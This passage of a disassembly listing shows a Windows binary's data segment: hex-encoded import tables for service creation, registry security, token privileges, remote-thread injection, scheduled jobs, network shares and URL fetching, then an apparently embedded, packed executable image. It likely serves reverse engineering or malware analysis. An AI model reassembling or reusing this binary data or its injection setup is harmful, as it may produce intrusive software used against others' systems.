					; sub_9ADBF1+17Cr ...
dword_9BB2F8	dd 0			; DATA XREF: sub_9AFC25+63r
					; sub_9AFC25+70w
; size_t dword_9BB2FC
dword_9BB2FC	dd 0			; DATA XREF: sub_9B00F5+77r
					; sub_9B0216+8Ew
; void *dword_9BB300
dword_9BB300	dd 0			; DATA XREF: sub_9B00F5:loc_9B0162r
					; sub_9B0216+7Ew
dword_9BB304	dd 0			; DATA XREF: sub_9B0191:loc_9B01F7r
					; sub_9B0216+Er ...
; void *Base
Base		dd 0			; DATA XREF: sub_9B00F5+17r
					; sub_9B0216+B7w
; size_t NumOfElements
NumOfElements	dd 0			; DATA XREF: sub_9B00F5+20r
					; sub_9B0216+C7w
; void *dword_9BB310
dword_9BB310	dd 0			; DATA XREF: sub_9B00F5:loc_9B0137r
					; sub_9B0216+97w
; size_t dword_9BB314
dword_9BB314	dd 0			; DATA XREF: sub_9B00F5+4Cr
					; sub_9B0216+A7w
dword_9BB318	dd 0			; DATA XREF: sub_9B4F4A+4r
					; sub_9B4F5C+19w ...
dword_9BB31C	dd 0			; DATA XREF: sub_9B4F4A+Cr
					; sub_9B4F5C+Cr ...
dword_9BB320	dd 0			; DATA XREF: sub_9B4F5C+1Ew
					; sub_9B4FFF+23r ...
dword_9BB324	dd 0			; DATA XREF: sub_9B4F5C+31w
					; sub_9B4FA3+Fr ...
dword_9BB328	dd 0			; DATA XREF: sub_9B4F5C+36w
					; sub_9B4FA3+19r ...
dword_9BB32C	dd 0			; DATA XREF: sub_9B4F5C+3Bw
					; sub_9B4FA3+23r ...
dword_9BB330	dd 1			; DATA XREF: _CRT_INIT(x,x,x)+8r
					; _CRT_INIT(x,x,x)+10w	...
dword_9BB334	dd 0			; DATA XREF: sub_9B759C+E0r
					; sub_9B789E+8Aw
; RPC_BINDING_HANDLE Binding
Binding		dd 0			; DATA XREF: .text:pStubDescriptoro
					; sub_9AA799+2Fo ...
dword_9BB33C	dd 0			; DATA XREF: _CRT_INIT(x,x,x)+21w
dword_9BB340	dd 34710h		; DATA XREF: _CRT_INIT(x,x,x)+54w
					; _CRT_INIT(x,x,x)+75r
; void *Memory
Memory		dd 34710h		; DATA XREF: _CRT_INIT(x,x,x)+37w
					; _CRT_INIT(x,x,x)+45r	...
dword_9BB348	dd 0			; DATA XREF: start:loc_9B8432r
					; start+82r
		dd 0B2Dh dup(0)
		dd 1C8h, 0A4h, 6C745201h, 69776E55h, 100646Eh, 74696157h
		dd 4D726F46h, 69746C75h, 4F656C70h, 63656A62h, 1007374h
		dd 65657246h, 7262694Ch, 797261h, 65704F01h, 6576456Eh
		dd 41746Eh, 74654701h, 73726556h, 456E6F69h, 1004178h
		dd 53746547h, 65747379h, 7269446Dh, 6F746365h, 417972h
		dd 6F6C4301h, 61486573h, 656C646Eh, 6C470100h, 6C61626Fh
		dd 65657246h, 6C470100h, 6C61626Fh, 6F6C6C41h, 47010063h
		dd 614C7465h, 72457473h, 726F72h, 74654701h, 72727543h
		dd 50746E65h, 65636F72h, 1007373h, 65646957h, 72616843h
		dd 754D6F54h, 4269746Ch, 657479h, 74654701h, 73726556h
		dd 6E6F69h, 766F4D01h, 6C694665h, 41784565h, 6F4D0100h
		dd 69466576h, 41656Ch, 74654701h, 706D6554h, 68746150h
		dd 53010041h, 7065656Ch, 65440100h, 6574656Ch, 656C6946h
		dd 4C010041h, 466B636Fh, 656C69h, 74654701h, 656C6946h
		dd 657A6953h, 72430100h, 65746165h, 656C6946h, 43010041h
		dd 74616572h, 72685465h, 646165h, 74655301h, 6F727245h
		dd 646F4D72h, 45010065h, 50746978h, 65636F72h, 1007373h
		dd 6E65704Fh, 6574754Dh, 1004178h, 43746547h, 616D6D6Fh
		dd 694C646Eh, 41656Eh, 65724301h, 4D657461h, 78657475h
		dd 47010041h, 6F437465h, 7475706Dh, 614E7265h, 41656Dh
		dd 74654701h, 75646F4Dh, 6946656Ch, 614E656Ch, 41656Dh
		dd 74654701h, 72727543h, 50746E65h, 65636F72h, 64497373h
		dd 69440100h, 6C626173h, 72685465h, 4C646165h, 61726269h
		dd 61437972h, 736C6Ch, 76654401h, 49656369h, 6E6F436Fh
		dd 6C6F7274h, 72570100h, 46657469h, 656C69h, 74654701h
		dd 706D6554h, 656C6946h, 656D614Eh, 56010041h, 75747269h
		dd 72466C61h, 1006565h,	50746547h, 41636F72h, 65726464h
		dd 1007373h, 64616F4Ch,	7262694Ch, 41797261h, 69560100h
		dd 61757472h, 6C6C416Ch, 100636Fh, 74737953h, 69546D65h
		dd 6F54656Dh, 656C6946h, 656D6954h, 65470100h, 73795374h
		dd 546D6574h, 656D69h, 61654C01h, 72436576h, 63697469h
		dd 65536C61h, 6F697463h, 4501006Eh, 7265746Eh, 74697243h
		dd 6C616369h, 74636553h, 6E6F69h, 696E4901h, 6C616974h
		dd 43657A69h, 69746972h, 536C6163h, 69746365h, 1006E6Fh
		dd 64616552h, 656C6946h, 6F430100h, 63656E6Eh, 6D614E74h
		dd 69506465h, 1006570h,	61657243h, 614E6574h, 5064656Dh
		dd 41657069h, 65440100h, 6574656Ch, 656C6946h, 47010057h
		dd 6F4C7465h, 546C6163h, 656D69h, 65724301h, 46657461h
		dd 57656C69h, 69460100h, 6C43646Eh, 65736Fh, 6E694601h
		dd 72694664h, 69467473h, 57656Ch, 6C754D01h, 79426974h
		dd 6F546574h, 65646957h, 72616843h, 65470100h, 6D6F4374h
		dd 65747570h, 6D614E72h, 1005765h, 6D726554h, 74616E69h
		dd 72685465h, 646165h, 74654701h, 72727543h, 54746E65h
		dd 61657268h, 644964h, 69615701h, 726F4674h, 676E6953h
		dd 624F656Ch, 7463656Ah, 65530100h, 73614C74h, 72724574h
		dd 100726Fh, 75646F4Dh,	3233656Ch, 7478654Eh, 6F4D0100h
		dd 656C7564h, 69463233h, 747372h, 65724301h, 54657461h
		dd 686C6F6Fh, 33706C65h, 616E5332h, 6F687370h, 53010074h
		dd 68547465h, 64616572h, 6F697250h, 79746972h, 69560100h
		dd 61757472h, 6F72506Ch, 74636574h, 65470100h, 72685474h
		dd 50646165h, 726F6972h, 797469h, 74654701h, 72727543h
		dd 54746E65h, 61657268h, 47010064h, 6F4D7465h, 656C7564h
		dd 646E6148h, 41656Ch, 65724301h, 44657461h, 63657269h
		dd 79726F74h, 46010041h, 46646E69h, 74737269h, 656C6946h
		dd 47010041h, 6F567465h, 656D756Ch, 6F666E49h, 74616D72h
		dd 416E6F69h, 65470100h, 69724474h, 79546576h, 416570h
		dd 74654701h, 69676F4Ch, 446C6163h, 65766972h, 47010073h
		dd 69547465h, 6F436B63h, 746E75h, 65755101h, 65507972h
		dd 726F6672h, 636E616Dh, 756F4365h, 7265746Eh, 65530100h
		dd 6C694674h, 6D695465h, 47010065h, 69467465h, 6954656Ch
		dd 100656Dh, 70616548h,	6F6C6C41h, 47010063h, 72507465h
		dd 7365636Fh, 61654873h, 48010070h, 46706165h, 656572h
		dd 6F725001h, 73736563h, 654E3233h, 1007478h, 636F7250h
		dd 33737365h, 72694632h, 1007473h, 65726854h, 32336461h
		dd 7478654Eh, 704F0100h, 68546E65h, 64616572h, 68540100h
		dd 64616572h, 69463233h, 747372h, 65724301h, 52657461h
		dd 746F6D65h, 72685465h, 646165h, 69725701h, 72506574h
		dd 7365636Fh, 6D654D73h, 79726Fh, 72695601h, 6C617574h
		dd 6F6C6C41h, 784563h, 65704F01h, 6F72506Eh, 73736563h
		dd 65520100h, 72506461h, 7365636Fh, 6D654D73h, 79726Fh
		dd 74655301h, 656C6946h, 72747441h, 74756269h, 417365h
		dd 74654701h, 656C6946h, 72747441h, 74756269h, 417365h
		dd 74654701h, 72727543h, 44746E65h, 63657269h, 79726F74h
		dd 43010041h, 74616572h, 6F725065h, 73736563h, 49010041h
		dd 7265746Eh, 6B636F6Ch, 6F436465h, 7261706Dh, 63784565h
		dd 676E6168h, 49010065h, 7265746Eh, 6B636F6Ch, 65446465h
		dd 6D657263h, 746E65h, 746E4901h, 6F6C7265h, 64656B63h
		dd 72636E49h, 6E656D65h, 53010074h, 76457465h, 746E65h
		dd 65724301h, 45657461h, 746E6576h, 49010041h, 7265746Eh
		dd 6B636F6Ch, 78456465h, 6E616863h, 6567h, 1D5h, 0
		dd 67655201h, 6E65704Fh, 4579654Bh, 1005778h
aRegsetkeysecur	db 'RegSetKeySecurity',0
		dw 4F01h
aPenscmanagerw	db 'penSCManagerW',0
		dw 4501h
aNumservicessta	db 'numServicesStatusW',0
		db 1
aOpenservicew	db 'OpenServiceW',0
		db 1, 51h, 75h
aEryserviceconf	db 'eryServiceConfigW',0
		dw 5101h
aUeryservicecon	db 'ueryServiceConfig2W',0
		dd 706D4901h, 6F737265h, 6574616Eh, 67676F4Ch, 6E4F6465h
		dd 72657355h, 6E490100h, 61697469h, 657A696Ch, 75636553h
		dd 79746972h, 63736544h, 74706972h, 100726Fh, 4C746547h
		dd 74676E65h, 64695368h, 6E490100h, 61697469h, 657A696Ch
		dd 6C6341h, 64644101h, 65636341h, 6C417373h, 65776F6Ch
		dd 65634164h, 65530100h, 63655374h, 74697275h, 73654479h
		dd 70697263h, 44726F74h, 6C6361h, 74655301h, 656C6946h
		dd 75636553h, 79746972h, 4C010041h, 756B6F6Fh, 69725070h
		dd 656C6976h, 61566567h, 4165756Ch, 64410100h, 7473756Ah
		dd 656B6F54h, 6972506Eh, 656C6976h, 736567h, 61684301h
		dd 5365676Eh, 69767265h, 6F436563h, 6769666Eh, 52010041h
		dd 72657665h, 536F5474h, 666C65h, 67655201h, 56746553h
		dd 65756C61h, 417845h, 67655201h, 6E65704Fh, 4579654Bh
		dd 1004178h, 51676552h,	79726575h, 756C6156h, 41784565h
		dd 65520100h, 6F6C4367h, 654B6573h, 43010079h, 74616572h
		dd 72655365h, 65636976h, 53010041h, 74726174h, 76726553h
		dd 41656369h, 704F0100h, 43536E65h, 616E614Dh, 41726567h
		dd 704F0100h, 65536E65h, 63697672h, 1004165h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 100656Ch, 746E6F43h
		dd 536C6F72h, 69767265h, 1006563h, 656C6544h, 65536574h
		dd 63697672h, 4F010065h, 506E6570h, 65636F72h, 6F547373h
		dd 6E656Bh, 74654701h, 656B6F54h, 666E496Eh, 616D726Fh
		dd 6E6F6974h, 6C410100h, 61636F6Ch, 6E416574h, 696E4964h
		dd 6C616974h, 53657A69h, 1006469h, 61757145h, 6469536Ch
		dd 72460100h, 69536565h, 52010064h, 6E456765h, 654B6D75h
		dd 57784579h, 65520100h, 74655367h, 756C6156h, 57784565h
		dd 65520100h, 65755167h, 61567972h, 4565756Ch, 1005778h
		dd 46676552h, 6873756Ch, 79654Bh, 67655201h, 61657243h
		dd 654B6574h, 57784579h, 65520100h, 65724367h, 4B657461h
		dd 78457965h, 0E2000041h, 2C000001h, 1000002h, 74654E57h
		dd 43646441h, 656E6E6Fh, 6F697463h, 57326Eh, 654E5701h
		dd 64644174h, 6E6E6F43h, 69746365h, 41326E6Fh, 4E570100h
		dd 61437465h, 6C65636Eh, 6E6E6F43h, 69746365h, 41326E6Fh
		dd 4E570100h, 61437465h, 6C65636Eh, 6E6E6F43h, 69746365h
		dd 57326E6Fh, 1EA0000h,	2400000h, 5F010000h, 74696E69h
		dd 6D726574h, 615F0100h, 73756A64h, 64665F74h, 1007669h
		dd 6C6C6163h, 100636Fh,	61637373h, 100666Eh, 6D6D656Dh
		dd 65766Fh, 65736201h, 68637261h, 62610100h, 73010073h
		dd 1006E69h, 676F6Ch, 72747301h, 6B6F74h, 6F746101h, 5F010069h
		dd 64736377h, 1007075h,	6E697270h, 1006674h, 63727473h
		dd 1007970h, 63727473h,	100706Dh, 63727473h, 1007461h
		dd 73736377h, 1007274h,	7274735Fh, 72776Ch, 72747301h
		dd 727473h, 74735F01h, 70756472h, 63770100h, 70636E73h
		dd 6D010079h, 6F6C6C61h, 66010063h, 656572h, 61657201h
		dd 636F6C6Ch, 63770100h, 74616373h, 63770100h, 79706373h
		dd 63770100h, 706D6373h, 735F0100h, 7270776Eh, 66746E69h
		dd 63770100h, 6E656C73h, 74730100h, 72686372h, 656D0100h
		dd 7465736Dh, 656D0100h, 7970636Dh, 656D0100h, 706D636Dh
		dd 74730100h, 61636E72h, 73010074h, 646E6172h, 61720100h
		dd 100646Eh, 706E735Fh,	746E6972h, 73010066h, 636E7274h
		dd 1007970h, 72727473h,	726863h, 74735F01h, 63696E72h
		dd 100706Dh, 6C727473h,	1006E65h, 7274735Fh, 706D6369h
		dd 6D5F0100h, 63696D65h, 706Dh,	1F5h, 2F0h, 74654E01h
		dd 42697041h, 65666675h, 65724672h, 4E010065h, 63537465h
		dd 75646568h, 6F4A656Ch, 6C654462h, 654E0100h, 68635374h
		dd 6C756465h, 626F4A65h, 6D756E45h, 654E0100h, 68635374h
		dd 6C756465h, 626F4A65h, 646441h, 74654E01h, 72657355h
		dd 6D756E45h, 654E0100h, 72655374h, 45726576h, 6D756Eh
		dd 74654E01h, 74736B57h, 74654761h, 6F666E49h, 2020000h
		dd 41C0000h, 43010000h,	696E496Fh, 6C616974h, 53657A69h
		dd 72756365h, 797469h, 436F4301h, 74616572h, 736E4965h
		dd 636E6174h, 43010065h, 696E556Fh, 6974696Eh, 7A696C61h
		dd 43010065h, 696E496Fh, 6C616974h, 45657A69h, 0C000078h
		dd 10000002h, 0FF000003h, 8FF0007h, 6FF00h, 0FF0002FFh
		dd 19000009h, 28000002h, 1000003h, 42637052h, 69646E69h
		dd 7246676Eh, 74536D6Fh, 676E6972h, 646E6942h, 41676E69h
		dd 70520100h, 72745363h, 42676E69h, 69646E69h, 6F43676Eh
		dd 736F706Dh, 1004165h,	4372644Eh, 6E65696Ch, 6C614374h
		dd 100326Ch, 42637052h,	69646E69h, 7246676Eh, 6565h, 224h
		dd 33Ch, 10044FFh, 65474853h, 65705374h, 6C616963h, 646C6F46h
		dd 61507265h, 416874h, 23000h, 34800h, 74530100h, 72745372h
		dd 1004149h, 53727453h,	57497274h, 23C0000h, 4300000h
		dd 4F010000h, 69617462h, 6573556Eh, 65674172h, 7453746Eh
		dd 676E6972h, 2470000h,	3540000h, 47010000h, 614C7465h
		dd 6E497473h, 49747570h, 6F666Eh, 736F5001h, 73654D74h
		dd 65676173h, 47010041h, 6C447465h, 65744967h, 4C01006Dh
		dd 5364616Fh, 6E697274h, 1004167h, 57666544h, 6F646E69h
		dd 6F725077h, 1004163h,	70736944h, 68637461h, 7373654Dh
		dd 41656761h, 72540100h, 6C736E61h, 4D657461h, 61737365h
		dd 1006567h, 69676552h,	72657473h, 73616C43h, 1004173h
		dd 6D756E45h, 65726854h, 69576461h, 776F646Eh, 47010073h
		dd 654D7465h, 67617373h, 1004165h, 61657243h, 69576574h
		dd 776F646Eh, 417845h, 25200h, 38400h, 65470100h, 6C694674h
		dd 72655665h, 6E6F6973h, 6F666E49h, 56010041h, 75517265h
		dd 56797265h, 65756C61h, 47010041h, 69467465h, 6556656Ch
		dd 6F697372h, 666E496Eh, 7A69536Fh, 4165h, 25Eh, 394h
		dd 746E4901h, 656E7265h, 6F6C4374h, 61486573h, 656C646Eh
		dd 6E490100h, 6E726574h, 704F7465h, 416E65h, 746E4901h
		dd 656E7265h, 74654774h, 6E6E6F43h, 65746365h, 61745364h
		dd 1006574h, 65746E49h,	74656E72h, 64616552h, 656C6946h
		dd 6E490100h, 6E726574h, 704F7465h, 72556E65h, 100416Ch
		dd 70747448h, 72657551h, 666E4979h, 416Fh, 26Ah, 3B0h
		dd 0FF0001FFh, 6FF0002h, 14FF00h, 0FF0073FFh, 0EFF0015h
		dd 0DFF00h, 0FF0016FFh,	8FF0034h, 9FF00h, 0FF0004FFh, 13FF006Fh
		dd 12FF00h, 0FF0039FFh,	0BFF000Ch, 3FF00h, 41535701h, 74636F49h
		dd 97FF006Ch, 0AFF00h, 0FF0010FFh, 17FF0070h, 0
		dd 0E4F00000h, 0B4041C15h, 8ECF004h, 0F0CF004h,	0C041404h
		dd 84040C04h, 5C040C04h, 5C042C04h, 3 dup(0C040C04h), 40C1004h
		dd 9CF0040Ch, 4840401h,	40124F0h, 40C044Ch, 4019CF0h, 40C040Ch
		dd 40304F0h, 40154F0h, 0D8F004CCh, 404041Dh, 0C04AC14h
		dd 0C041C04h, 28CF004h,	0F0040404h, 6220474h, 1A36213Bh
		dd 2D131816h, 151B0F07h, 1F106927h, 0B5D0A18h, 0D080D06h
		dd 140F3D12h, 29060F2Dh, 5A10250Eh, 6092C09h, 0D192D0Ah
		dd 1320150Bh, 490F090Bh, 0B280A2Bh, 0C070817h, 210E151Bh
		dd 0A36061Ah, 190B0C1Dh, 0A531F3Ah, 1E200607h, 120F060Ch
		dd 518080Bh, 5060906h, 1016062Bh, 6151C0Ah, 28151A0Bh
		dd 2D160708h, 2406070Ah, 230A0E0Ch, 145F0A9h, 4B0D061Ch
		dd 0F0A1623h, 1E0E220Ah, 26280F06h, 1E260D06h, 15221950h
		dd 0D151221h, 0F0615724h, 483E0102h, 2D1A0B2Dh,	0E192409h
		dd 3A440593h, 11055026h, 324D0D17h, 1D054F2Ch, 508C0559h
		dd 0B2126C4Dh, 44936405h, 30052321h, 29481125h,	1311301Ch
		dd 21162617h, 410C0E25h, 1C171729h, 4F082823h, 0A2B2A11h
		dd 241D0B05h, 22070B1Ch, 0A1F3C14h, 0D411107h, 24091956h
		dd 6142A27h, 0C810639h,	1D350E34h, 1906253Ah, 19091108h
		dd 12091E07h, 2E0C2916h, 7091D0Eh, 201B120Dh, 611F1920h
		dd 587F3064h, 5D09114Bh, 162B0A21h, 6F096C0Fh, 0D0C0A06h
		dd 8151E1Ah, 6140E07h, 0A0A0A10h, 301F5208h, 0A080694h
		dd 35250711h, 80F2010h,	2E313606h, 70F0E08h, 27071119h
		dd 8083611h, 0F0060930h, 608012Fh, 37350933h, 193B4722h
		dd 1E13082Bh, 17215707h, 0A0B730Ch, 25396C45h, 65135A0Ch
		dd 1048243Dh, 19248C07h, 0E362E1Ah, 1E0F1D16h, 190C911Ah
		dd 9071D2Eh, 5051309h, 1D13062Bh, 2E090907h, 2F062B14h
		dd 17081812h, 19093C08h, 73312D10h, 1C7A2883h, 31362F6Bh
		dd 0F091B2Fh, 0D0C212Ah, 153D4F2Eh, 1F301311h, 13111533h
		dd 1115332Ah, 15323313h, 80131210h, 3B989B1Dh, 0A140D1Eh
		dd 1C451EAAh, 27170F0Dh, 5050B06h, 5050E05h, 5051205h
		dd 5050B05h, 0D05050Dh,	6280505h, 5050807h, 0D151105h
		dd 100D1512h, 163F1B12h, 65140707h, 305E1238h, 3B42141Ah
		dd 1E08050Ah, 1312240Eh, 25270C8Eh, 100C0718h, 3B3F1307h
		dd 70D151Dh, 0B421D47h,	61D2E10h, 800D2B30h, 30214C0Eh
		dd 0D34250Fh, 250D341Eh, 0F255D06h, 8452F30h, 10122157h
		dd 252A070Ah, 15240906h, 0A110B0Bh, 17310E24h, 2A053615h
		dd 21170711h, 6280E14h,	0E141409h, 2E0E0A0Bh, 602CCE1Fh
		dd 0C08152Ah, 1A1B0E14h, 14111406h, 1626072Ah, 38301C0Eh
		dd 31060706h, 7142D07h,	1222070Dh, 91F190Bh, 17171E29h
		dd 1310285Bh, 295D1116h, 1D093D23h, 4334440Bh, 38352125h
		dd 9151D19h, 2B265D13h,	506111Eh, 16201B08h, 52051505h
		dd 2706091Bh, 8519110Ah, 1C070605h, 14249437h, 8090506h
		dd 240E1A5Dh, 26480E19h, 9184D08h, 100F1C0Fh, 210E360Fh
		dd 14087318h, 0E121F19h, 190D5B10h, 0B08141Ah, 200E0634h
		dd 28071D35h, 60E0611h,	5111E0Ah, 2E0C1209h, 0D881733h
		dd 1A380606h, 18600A24h, 2B061223h, 0E080620h, 100B100Ah
		dd 1A060610h, 1A073B4Eh, 19060B23h, 7080635h, 80070822h
		dd 0C0C1409h, 1D0C0606h, 7060814h, 1A050610h, 723320Ah
		dd 4B160D0Bh, 11101409h, 0A0B54A3h, 7080E1Bh, 99160908h
		dd 0D06060Bh, 14090509h, 908110Ch, 807080Eh, 9981209h
		dd 40071C06h, 1C090509h, 2D060607h, 130E0A0Eh, 710060Ah
		dd 35051021h, 150D1F1Dh, 2A262061h, 0B261311h, 61F0909h
		dd 11093F17h, 0E0C1113h, 1A0E2E0Fh, 28461631h, 6716370Eh
		dd 0D1C0912h, 0B0A1718h, 0A121419h, 1311131Dh, 0C1E1A1Ah
		dd 9181B08h, 12190E1Ah,	491A3C09h, 0A08060Ah, 0A1F0F38h
		dd 0E1E0C0Eh, 29072D0Ch, 4F053B10h, 530D1957h, 23063C0Ah
		dd 116E062Dh, 223B0905h, 50F062Fh, 1D2F0666h, 0C0B1205h
		dd 1509061Bh, 0A071111h, 180E1407h, 2F5B1629h, 28085A13h
		dd 4113081Ah, 22045AF0h, 3C0E3C39h, 707940Ch, 0E1B150Dh
		dd 12181212h, 11321312h, 2C3F1209h, 150E1305h, 746B42Ch
		dd 0E171311h, 2B0E0E0Eh, 12180820h, 1590080Ah, 3406062Ah
		dd 90B1F1Ch, 12063A09h,	0E130D21h, 0D420C14h, 130F0E0Eh
		dd 0D12261Ah, 19112434h, 0D0C0708h, 6190607h, 807080Ch
		dd 14120B0Dh, 0C1C0F1Eh, 1D051317h, 6381A05h, 33292207h
		dd 90A0788h, 19090919h,	431E0909h, 21100908h, 3C1E140Eh
		dd 11100910h, 0F0B01D0Fh, 0B2F00174h, 350F008h,	0D9F04B0Eh
		dd 0D2F0DD01h, 4C1F4909h, 154F07Ah, 64796E16h, 0F0345910h
		dd 0D84B0145h, 14232052h, 0A7F03D7Ah, 57F03104h, 5D6F009h
		dd 0F0024BF0h, 32F004D0h, 5D4F001h, 0Dh	dup(4040404h)
		dd 0F0E30404h, 0F01A0172h, 523A023Fh, 71307CEh,	5130505h
		dd 90A1C05h, 90A1E2Bh, 7142B2Bh, 24071421h, 0C200809h
		dd 1320361Eh, 1E0A0C1Fh, 32882008h, 3C07154Dh, 6AF04747h
		dd 5A214903h, 19196C11h, 135A1919h, 9361724h, 1207072Fh
		dd 91B0AAAh, 2C1E727Fh,	331E6860h, 108B0B80h, 7A41922h
		dd 120E1630h, 102F00Dh,	53B2229h, 19124D0Ch, 573F1F0Ch
		dd 0A57237Dh, 11287B2Ch, 92B2211h, 5E071A29h, 19151728h
		dd 71B6407h, 7070A0Ah, 14070707h, 1A220A0Ah, 13461907h
		dd 230C0A09h, 4F19071Ah, 0C250F11h, 26272A22h, 27272723h
		dd 5815071Ah, 0C0A0913h, 2C2B0C23h, 0F0130719h,	0F0550869h
		dd 0F0D10219h, 0C550018Bh, 1302EFF0h, 41036CF0h, 0F0091A69h
		dd 60600F9h, 6060606h, 390606E0h, 0D0B0608h, 5050E08h
		dd 0A0D0B05h, 22060C15h, 61D5C12h, 6 dup(6060606h), 5060606h
		dd 41AB7F0h, 3Dh dup(4040404h),	8040404h, 0Fh dup(4040404h)
		dd 0F0040404h, 40405C0h, 5 dup(4040404h), 0F0040404h, 4040210h
		dd 5 dup(4040404h), 0C040404h, 18040404h, 455000h, 3014C00h
		dd 0DFCF7700h, 3Dh, 0
		dd 0E00E000h, 4010B21h,	18C0000h, 2A0000h, 0
		dd 1840C00h, 100000h, 1A00000h,	0
		dd 100010h, 20000h, 400h, 2000500h, 400h, 0
		dd 1E00000h, 40000h, 0
		dd 200h, 10000000h, 100000h, 10000000h,	100000h, 0
		dd 1000h, 2 dup(0)
		dd 185A400h, 14000h, 6 dup(0)
		dd 1C00000h, 108000h, 0Ch dup(0)
		dd 100000h, 43800h, 6 dup(0)
		dd 65742E00h, 7478h, 18ABA00h, 100000h,	18C0000h, 40000h
		dd 3 dup(0)
		dd 2000h, 61642E60h, 6174h, 134C00h, 1A00000h, 100000h
		dd 1900000h, 3 dup(0)
		dd 4000h, 65722EC0h, 636F6Ch, 140400h, 1C00000h, 160000h
		dd 1A00000h, 3 dup(0)
		dd 4000h, 1D00042h, 18B1C00h, 1DE7200h,	0E69D0000h, 1570001h
		dd 0F3BC2657h, 756C4623h, 40C6873h, 0CD91C6CDh,	0D241103Fh
		dd 0E1552CE2h, 57029B68h, 5C02574Eh, 0B30923D9h, 0D411467h
		dd 439D7D80h, 57176CB9h, 0B34FB935h, 5F40EA62h,	6D56EE69h
		dd 0D18F1AD0h, 5F14610Ah, 0D106466h, 0AB30AD86h, 937DC0Dh
		dd 1736F66Eh, 409A4A2Dh, 0DA6208CCh, 47880B16h,	14096108h
		dd 1EE866CCh, 67283D69h, 0CDBB8186h, 166B876Dh,	774C6905h
		dd 6CCA7363h, 0C40D1A1h, 66A05E70h, 3C9E571Eh, 7970637Bh
		dd 61706D07h, 0E4592774h, 300A39CEh, 72776C18h,	7D8D8310h
		dd 6E21412Fh, 66926D3Ah, 22D66F6h, 1F0E045Bh, 0DEF72349h
		dd 6107261Bh, 87784E40h, 137D586Eh, 5E75FC6Ch, 3F158B6Ch
		dd 774C6CDh, 1D8C5A33h,	6E9507F6h, 36C734Ch, 898F66E6h
		dd 6EC64905h, 61B37856h, 43A74AC7h, 17B3B93Dh, 1112651Bh
		dd 9C3C585Fh, 7109E166h, 70BEF0F5h, 4BC28F63h, 666675D4h
		dd 53115275h, 6C1F468Eh, 4AF9654Ah, 0D918C08Ah,	6D126463h
		dd 2BD96313h, 631202E6h, 0D8E1F61Fh, 570E980Eh,	0EF61886Bh
		dd 0EDC147A7h, 20279EAh, 0C66D321Bh, 1592595Bh,	0CAC91B85h
		dd 313470E7h, 36295527h, 3761635Bh, 100C50A8h, 0B2CB2D03h
		dd 207FF5Dh, 9020608h, 0B3607E26h, 3281917h, 42637092h
		dd 341AA0AFh, 10E87117h, 0A1160D8Bh, 1D41106Bh,	7A67512h
		dd 19DF3309h, 2AA9144Eh, 6CF3F70Ah, 4A7D8585h, 78304732h
		dd 0D7455524h, 40443CD3h, 0E4445848h, 0C7979526h, 0A916CD3Bh
		dd 48308561h, 0B26E0D64h, 4149029Dh, 0B3D5709h,	15AD0E30h
		dd 57EC083Ah, 0BD9B644h, 3C907D80h, 0D582D447h,	0F80F5469h
		dd 30713345h, 0A3C4466Fh, 0AB970B07h, 68A14EA6h, 9B34676Ch
		dd 6949A391h, 158A40A6h, 66FD2344h, 5236856Bh, 7029C931h
		dd 8C1BF98h, 0C03A65A0h, 0B0562D47h, 25091265h,	48871293h
		dd 0C85015B4h, 0C59B2CEEh, 41B74A6Ch, 26CD6374h, 52391BB0h
		dd 560B84B6h, 9408820Fh, 0E59760B8h, 980D2EDCh,	0D34E2441h
		dd 46701ABDh, 402945Eh,	3B40800Bh, 5B2C0F65h, 0E415A14h
		dd 0B9001618h, 0A936474Dh, 294D9D80h, 0EADB3B37h, 2C55474Ah
		dd 707D483Eh, 21669E95h, 6ADBA416h, 0B2CB01B0h,	544E3C7Dh
		dd 15730214h, 0B1B2360Eh, 6F160D2Ch, 0CB020934h, 4CB2CB2h
		dd 3912136Fh, 0B5DAB50Ch, 0F6030B2Ch, 0B2784153h, 88B6DB2Ch
		dd 2970C6Ch, 0F670100Ah, 17C59F4Bh, 15E4F029h, 0F004B406h
		dd 0AC0308ECh, 0CFEEBB9h, 414040Fh, 384010Ch, 0C2C045Ch
		dd 0FED6CB01h, 0F0041006h, 51E019Ch, 0DB2D4C24h, 150D60B1h
		dd 540B0304h, 0BBAFDCCCh, 1DD805BDh, 0AC140004h, 8C181C14h
		dd 7FFF0E02h, 22BD28A1h, 36213B06h, 1318161Ah, 1B0F072Dh
		dd 0FFFFFF15h, 106927FFh, 5D0A181Fh, 80D060Bh, 0F3D120Dh
		dd 60F2D14h, 10250E29h,	92C095Ah, 192D0A06h, 0FF6FFF0Dh
		dd 20150BFFh, 0F090B13h, 280A2B49h, 708170Bh, 210E310Ch
		dd 0A36061Ah, 190B0C1Dh, 0FF6FFF3Ah, 0A531FFFh,	1E200607h
		dd 120F060Ch, 518080Bh,	2B053206h, 0A101606h, 0B06151Ch
		dd 0BBFF6F1Ah, 2E2815DBh, 24202D16h, 230A0E0Ch,	145F0A9h
		dd 234B641Ch, 0BB7FFA16h, 0A0F0AFDh, 321E0E22h,	260E2628h
		dd 2219501Eh, 15122115h, 0B7FF240Dh, 8607B56Fh,	2D483E01h
		dd 24092D38h, 5930E19h,	0FF263A44h, 50FFFFFFh, 0D171105h
		dd 4F2C324Dh, 5591D05h,	6C4D508Ch, 6405B212h, 23214493h
		dd 11253005h, 6F1C2948h, 30FFFF6Fh, 26171311h, 0E252116h
		dd 1729410Ch, 71231C17h, 0A92A114Fh, 0FF1D0B05h, 24FF6FDBh
		dd 22070B1Ch, 7E1F3C14h, 560D4111h, 2A275119h, 6390614h
		dd 0DF340C81h, 0EFFFFFEh, 253A1D35h, 11081906h,	1E071909h
		dd 29161209h, 1D0E2E0Ch, 1BFC0709h, 0C2192020h,	1F8DF6FFh
		dd 587F3010h, 215D1B4Bh, 0F162B0Ah, 46F096Ch, 0FDB6B5BFh
		dd 1E1A0D0Ch, 3F0ECA15h, 520800D8h, 5594301Fh, 6FFE171h
		dd 7110A08h, 20103525h,	310A080Fh, 0DFC2F62Eh, 1907456Eh
		dd 36112710h, 3300808h,	16012FF0h, 0FFFFFFFFh, 37350933h
		dd 193B4722h, 1E13082Bh, 17215707h, 0A0B730Ch, 25396C45h
		dd 65135A0Ch, 0E148243Dh, 10EDFFFFh, 1AE48C07h,	160E362Eh
		dd 1A1E0F1Dh, 2E190C91h, 909071Dh, 6D3F0513h, 13AFDBE1h
		dd 8142E09h, 818122Fh, 0DBA73C72h, 10FFDB85h, 8373312Dh
		dd 6B1C7A28h, 1B2F6C2Fh, 93212A8Ch, 0EEBD4B2Eh,	153D4FEDh
